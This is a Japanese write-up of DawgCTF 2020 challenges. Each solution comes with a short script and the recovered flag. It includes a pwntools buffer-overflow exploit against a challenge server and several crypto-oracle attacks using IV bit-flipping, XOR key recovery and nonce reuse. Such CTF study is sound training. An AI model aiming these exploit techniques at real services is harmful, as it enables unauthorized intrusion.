DawgCTF Writeup

この大会は2020/4/11 7:00(JST)~2020/4/13 7:00(JST)に開催されました。
今回もチームで参戦。結果は3720点で1237チーム中71位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc 10)

問題にフラグが書いてあった。

DawgCTF{fr33_fl@gs}

Socialize with Social Distance (10)

Discordに入り、#generalチャネルのトピックをコピペする。

Welcome to DawgCTF!
We'd like to take a moment to thank all of our wonderful sponsors for supporting us throughout this event (feel free to hit them up in #sponsor-networking)
- Tensley Consulting - http://tensleyconsulting.com/
- Blue Star Software - https://blue-star-software.com/
- Novetta - https://www.novetta.com/
- ClearEdge - http://clearedgeit.com/
- Percival Engineering - https://www.percivaleng.com/
- HackerOne - https://www.hackerone.com/
DawgCTF{h3y_wh@ts_uP_h3ll0}
DawgCTF{h3y_wh@ts_uP_h3ll0}

Let Her Eat Cake! (Misc 75)

Hwyjpgxwkmgvbxaqgzcsnmaknbjktpxyezcrmlja?
GqxkiqvcbwvzmmxhspcsqwxyhqentihuLivnfzaknagxfxnctLcchKCH{CtggsMmie_kteqbx}

ページに表示されているこの暗号をVigenere暗号と推測して、以下のサイトで復号する。

https://www.guballa.de/vigenere-solver
Howdoyoukeepaprogrammerintheshowerallday?
GivehimabottleofshampoowhichsaysLatherrinserepeatDawgCTF{ClearEdge_crypto}
DawgCTF{ClearEdge_crypto}

On Lockdown (Pwn 50)

$ file onlockdown
onlockdown: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=a905fea890d0a3e0a3acf9e9a9f2538738c009e1, for GNU/Linux 3.2.0, not stripped

ソースコードを見ると、BOFするようなコードになっている。64バイトのバッファの後、0xdeadbeefになるようデータを送信する。

from pwn import *

conn = remote('ctf.umbccd.io', 4500)
#conn = process('./onlockdown')

data = conn.recvline()
print data
data = conn.recvline()
print data

payload = 'A' * 64
payload += p32(0xdeadbabe)
print payload
conn.sendline(payload)

data = conn.recvline()
print data

実行結果は以下の通り。

[+] Opening connection to ctf.umbccd.io on port 4500: Done
I made this really cool flag but Governor Hogan put it on lockdown

Can you convince him to give it to you?

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xad�
DawgCTF{s3ri0u$ly_st@y_h0m3}

[*] Closed connection to ctf.umbccd.io port 4500
DawgCTF{s3ri0u$ly_st@y_h0m3}

Ask Nicely (Reversing 50)

$ gdb -q asknicely
Reading symbols from asknicely...(no debugging symbols found)...done.
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0000000000001000  _init
0x0000000000001030  putchar@plt
0x0000000000001040  strncmp@plt
0x0000000000001050  puts@plt
0x0000000000001060  __stack_chk_fail@plt
0x0000000000001080  _start
0x00000000000010b0  deregister_tm_clones
0x00000000000010e0  register_tm_clones
0x0000000000001120  __do_global_dtors_aux
0x0000000000001160  frame_dummy
0x0000000000001165  flag
0x000000000000122a  main
0x0000000000001350  __libc_csu_init
0x00000000000013b0  __libc_csu_fini
0x00000000000013b4  _fini
gdb-peda$ b main
Breakpoint 1 at 0x122e
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/asknicely 
[----------------------------------registers-----------------------------------]
RAX: 0x55555555522a (<main>:	push   rbp)
RBX: 0x0 
RCX: 0x0 
RDX: 0x7fffffffddb8 --> 0x7fffffffe168 ("XDG_VTNR=7")
RSI: 0x7fffffffdda8 --> 0x7fffffffe14d ("/mnt/hgfs/Share"...)
RDI: 0x1 
RBP: 0x7fffffffdcc0 --> 0x555555555350 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdcc0 --> 0x555555555350 (<__libc_csu_init>:	push   r15)
RIP: 0x55555555522e (<main+4>:	sub    rsp,0x30)
R8 : 0x5555555553b0 (<__libc_csu_fini>:	ret)
R9 : 0x7ffff7de7ac0 (<_dl_fini>:	push   rbp)
R10: 0x2a (b'*')
R11: 0x7ffff7b95300 --> 0xfff229defff228ec 
R12: 0x555555555080 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdda0 --> 0x1 
R14: 0x0 
R15: 0x0
[-------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]


Breakpoint 1, 0x000055555555522e in main ()
gdb-peda$ call flag()
DawgCTF{+h@nK_Y0U}
$1 = 0xa
DawgCTF{+h@nK_Y0U}

The Lady is a Smuggler (Web/Networking 25)

HTMLソースを見ると、フラグが書いてある部分がある。

<img src="https://media.defense.gov/2018/Sep/03/2001961221/400/400/0/180903-D-IM742-2028.JPG?flag=DawgCTF{ClearEdge_ElizebethSmith)">
DawgCTF{ClearEdge_ElizebethSmith}

Free Wi-Fi Part 1 (Web/Networking 50)

httpでフィルタリングする。staff.htmlにアクセスしていることがわかる。https://freewifi.ctf.umbccd.io/staff.htmlにアクセスすると、フラグが書いてある。

DawgCTF{w3lc0m3_t0_d@wgs3c_!nt3rn@t!0n@l}

Tracking (Web/Networking 100)

HTMLソースを見ると、Tracking Pixelに関する部分がある。

<img src=".." height="1px" width="1px" onclick="alert(String.fromCharCode(68,97,119,103,67,84,70,123,67,108,101,97,114,69,100,103,101,95,117,110,105,125))

このASCIIコードを文字にする。

codes = [68,97,119,103,67,84,70,123,67,108,101,97,114,69,100,103,101,95,117,110,105,125]

flag = ''
for code in codes:
    flag += chr(code)
print flag
DawgCTF{ClearEdge_uni}

My First Pcap (Forensics 50)

httpでフィルタリングし、GET /flag.txtのレスポンスを見る。

RGF3Z0NURntuMWMzX3kwdV9mMHVuZF9tM30=\n
$ echo RGF3Z0NURntuMWMzX3kwdV9mMHVuZF9tM30= | base64 -d
DawgCTF{n1c3_y0u_f0und_m3}
DawgCTF{n1c3_y0u_f0und_m3}

Another Pcap (Forensics 100)

httpでフィルタリングする。No.314のパケットに GET /nothinghere.tar.gzのレスポンスデータがあるので、エクスポートする。

$ gzip -dc nothinghere.tar.gz | tar xvf -
flag.txt
$ cat flag.txt
RGF3Z0NURnszeHRyNGN0MW5nX2YxbDM1XzFzX2Z1bn0=
$ cat flag.txt | base64 -d
DawgCTF{3xtr4ct1ng_f1l35_1s_fun}
DawgCTF{3xtr4ct1ng_f1l35_1s_fun}

Baby Onion (Coding 150)

何重にもbase64、hexエンコードが行われているので、繰り返しデコードする。

with open('baby.onion', 'r') as f:
    data = f.read().rstrip()

while True:
    try:
        data = data.decode('hex')
        data = data.decode('base64')
    except:
        break

print data
DawgCTF{b@by_0n10ns_c@n_$t1ll_Mak3_u_cRy!?!?}

Arthur Ashe (Coding 150)

$ nc arthurashe.ctf.umbccd.io 8411
Welcome to the Arthur Ashe stadium!  We'll keep sending you scores if you keep sending us who wins (0 or 1).  Do try to keep the crowd happy, won't you [Y/n]?y
The result of this set is set-1.0
The result of this set is 4-5.0
YOU CANNOT BE SERIOUS!  That's wrong!  Leave!

$ nc arthurashe.ctf.umbccd.io 8411
Welcome to the Arthur Ashe stadium!  We'll keep sending you scores if you keep sending us who wins (0 or 1).  Do try to keep the crowd happy, won't you [Y/n]?y
The result of this set is 4-3.1
YOU CANNOT BE SERIOUS!  That's wrong!  Leave!

$ nc arthurashe.ctf.umbccd.io 8411
Welcome to the Arthur Ashe stadium!  We'll keep sending you scores if you keep sending us who wins (0 or 1).  Do try to keep the crowd happy, won't you [Y/n]?y
The result of this game is 30-15.0
The result of this set is 2-set.0
YOU CANNOT BE SERIOUS!  That's wrong!  Leave!

$ nc arthurashe.ctf.umbccd.io 8411
Welcome to the Arthur Ashe stadium!  We'll keep sending you scores if you keep sending us who wins (0 or 1).  Do try to keep the crowd happy, won't you [Y/n]?y
The result of this match is 2-love.0
The result of this game is 15-40.1
The result of this game is game-40.1
YOU CANNOT BE SERIOUS!  That's wrong!  Leave!

どうやらテニスのルールになっているようで、勝者を左が0, 右が1で選択する。

love = 0, game -> win, set -> win

何回か正解すれば、フラグが出るかと思ったら、出てこなかった。0, 1で答えているので、この2進数の文字列を文字にすればフラグになると推定し、プログラムにする。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def get_win(s):
    s = s.replace('love', '0')
    s = s.replace('set', '99')
    s = s.replace('game', '99')
    l = int(s.split('-')[0])
    r = int(s.split('-')[1])
    if l > r:
        return '0'
    else:
        return '1'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('arthurashe.ctf.umbccd.io', 8411))

data = recvuntil(s, '?').rstrip()
print data + 'Y'
s.sendall('Y\n')

ans_bin = ''
for i in range(504):
    print 'Round %d' % (i + 1)
    data = recvuntil(s, '.')
    print data,
    score = data[:-1].split(' ')[6]
    ans = get_win(score)
    print ans
    s.sendall(ans + '\n')
    ans_bin += ans

data = recvuntil(s, 'you!')
print data

flag = ''
for i in range(0, len(ans_bin), 8):
    flag += chr(int(ans_bin[i:i+8], 2))

print flag

実行結果は以下の通り。

        :
Round 504
The result of this match is 2-1. 0
You did great!  Thank you!
The Flag is DawgCTF{L0v3_Me@n5_N07h1ng_!n_T#e_G@m3_Of_T3nn15.}.
DawgCTF{L0v3_Me@n5_N07h1ng_!n_T#e_G@m3_Of_T3nn15.}

Take It Back Now, Y'all (Crypto 25)

tstをflgに変えて、送信する。

# -*- coding: utf-8 -*-
"""
Created for Spring 2020 CTF
Cryptography 0
10 Points
Welcome to my sanity check.  You'll find this to be fairly easy.  
The oracle is found at umbccd.io:13370, and your methods are:
    flg - returns the flag
    tst - returns the message after the : in "tst:..."
    
@author: pleoxconfusa
"""

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = ('crypto.ctf.umbccd.io', 13370)
sock.connect(server_address)

#available methods: flg, tst.


msg = 'flg:hello'


sock.sendall(msg.encode())
data = sock.recv(1024)
print(data.decode())
    
sock.close()
DawgCTF{H3ll0_W0rld!}

One Hop This Time, One Hop This Time (Crypto 75)

encとdecのXORが鍵になるので、その鍵でflagを復号する。

# -*- coding: utf-8 -*-
"""
Created for Spring 2020 CTF
Cryptography 1 
40 Points
Welcome to the one time pad oracle! 
Our oracle's function is enc := key ^ msg | dec := key ^ ct
The oracle is found at umbccd.io:13371, and your methods are:
    flg - returns the encrypted flag
    enc - returns the encryption of the message after the : in "enc:..."
    dec - returns the decryption of the ciphertext after the : in "dec:..."
    
@author: pleoxconfusa
"""

import socket

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = ('crypto.ctf.umbccd.io', 13371)
sock.connect(server_address)

#available methods: flg, enc, dec.


msg = 'flg'.encode()
sock.sendall(msg)
flg = sock.recv(1024)
print(flg) #not decoded, because now the oracle sends encrypted bytes.

msg = 'enc:LET ME IN!!!'.encode()
print msg
sock.sendall(msg)
enc = sock.recv(1024) 

msg = b'dec:' + enc
sock.sendall(msg)
dec = sock.recv(1024)
print(dec) #sanity check


sock.close()

flag = str_xor(str_xor(enc, dec), flg)
print flag
DawgCTF{P@dding_M0r3_L1K3_S@dding_@mir!73}

Right Foot Two Stomps (Crypto 200)

AES-CBC likeな暗号のようだ。とりあえずそのままフラグを復号してみる。

# -*- coding: utf-8 -*-
import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.ctf.umbccd.io', 13372))

msg = 'flg'
s.sendall(msg)
enc_flag = s.recv(1024)
print enc_flag

msg = 'dec:' + enc_flag
s.sendall(msg)
dec = s.recv(1024)
print(dec)

実行結果は以下の通り。

p]イ・廳ッ!ヨ・N秕]・・_ウZi#8[2ヤ・-「・・寛細_
R!.オ€・・Us
ヌィbE
Nice try.

やはりダメ。IVの一部を変えて復号した後、変更した部分をXORで元に戻すことにする。

# -*- coding: utf-8 -*-
import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.ctf.umbccd.io', 13372))

msg = 'flg'
s.sendall(msg)
enc_flag = s.recv(1024)
print enc_flag

try_head = 'a'

msg = 'dec:' + try_head + enc_flag[1:]
s.sendall(msg)
dec = s.recv(1024)

flag1_head = chr(ord(dec[0]) ^ ord(try_head) ^ ord(enc_flag[0]))
flag = flag1_head + dec[1:]
print flag
||,
実行結果は以下の通り。
>||
p]イ・廳ッ!ヨ・N秕]・・_ウZi#8[2ヤ・-「・・寛細_
R!.オ€・・Us
ヌィbE
DawgCTF{!_Th0ugh7_Th3_C!ph3rt3x7_W@s_Sh0rt3r.}
DawgCTF{!_Th0ugh7_Th3_C!ph3rt3x7_W@s_Sh0rt3r.}

Left Foot Two Stomps (Crypto 250)

nを素因数分解する。

$ python -m primefac 960242069
960242069: 151 6359219

あとはcのそれぞれの要素について復号する。

from Crypto.Util.number import *

n = 960242069
e = 347
cs = [346046109, 295161774, 616062960, 790750242, 259677897, 945606673,
    321883599, 625021022, 731220302, 556994500, 118512782, 843462311,
    321883599, 202294479, 725148418, 725148418, 636253020, 70699533,
    475241234, 530533280, 860892522, 530533280, 657690757, 110489031,
    271790171, 221180981, 221180981, 278854535, 202294479, 231979042,
    725148418, 787183046, 346046109, 657690757, 530533280, 770057231,
    271790171, 584652061, 405302860, 137112544, 137112544, 851931432,
    118512782, 683778547, 616062960, 508395428, 271790171, 185391473,
    923405109, 227720616, 563542899, 770121847, 185391473, 546341739,
    851931432, 657690757, 851931432, 284629213, 289862692, 788320338,
    770057231, 770121847]

p = 151
q = 6359219
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

msg = ''
for c in cs:
    m = pow(c, d, n)
    msg += chr(m)
print msg

enc = msg.split('|')[0].decode('base64')
key = msg.split('|')[1]

flag = ''
for i in range(len(enc)):
    code = ord(enc[i]) ^ ord(key[i%len(key)])
    flag += chr(code)
print flag

復号した結果は以下の通り。

xhBQCUIcbPf7IN88AT9FDFsqEOOjNM8uxsFrEJZRRifKB1E=|key=visionary

Vigenere暗号と推測し、以下のサイトで復号する。

https://www.dcode.fr/vigenere-cipher
czJIOHIldUx7QF88MG9FMHxiMGAwNV8wckNjQWZATnxST1Q=
$ echo czJIOHIldUx7QF88MG9FMHxiMGAwNVkNjQWZATnxST1Q= | base64 -d
s2H8r%uL{@_<0oE0|b0`05_0rCcAf@N|ROT

Caesar暗号と推測し、以下のサイトで復号する。

https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipher

ROT47でフラグになった。

DawgCTF{Lo0k_@t_M3_1_d0_Cr4p7o}

Slide To The Left (Crypto 350)

Right Foot Two Stompsと同じ解き方で解ける。

# -*- coding: utf-8 -*-
import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.ctf.umbccd.io', 13373))

msg = 'flg'
s.sendall(msg)
enc_flag = s.recv(1024)
print enc_flag

try_head = 'a'

msg = 'dec:' + try_head + enc_flag[1:]
s.sendall(msg)
dec = s.recv(1024)

flag1_head = chr(ord(dec[0]) ^ ord(try_head) ^ ord(enc_flag[0]))
flag = flag1_head + dec[1:]
print flag
DawgCTF{@_Ch4IN_i2_N0_S7R0n93R_7H4N_i72_W34k3S7_L!NK_4nD_lif3_!2_Af73r_4Ll_@_Ch4IN.}

Slide To The Right (Crypto 400)

nonceだけ合わせれば、認証タグ以外の部分でXORでフラグを導ける。

# -*- coding: utf-8 -*-
import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.ctf.umbccd.io', 13376))

msg = 'flg'
s.sendall(msg)
enc_flag = s.recv(1024)
print enc_flag

nonce = enc_flag[:16]
enc_flag = enc_flag[16:-16]

pt = 'a' * len(enc_flag)
msg = 'enc:' + nonce + pt
s.sendall(msg)
enc = s.recv(1024)
print enc

nonce2 = enc[:16]
enc = enc[16:-16]
assert nonce == nonce2

flag = str_xor(str_xor(pt, enc), enc_flag)
print flag
DawgCTF{3v3ryb0dy_cl@p_y0ur_h&s!*cl@p*x33}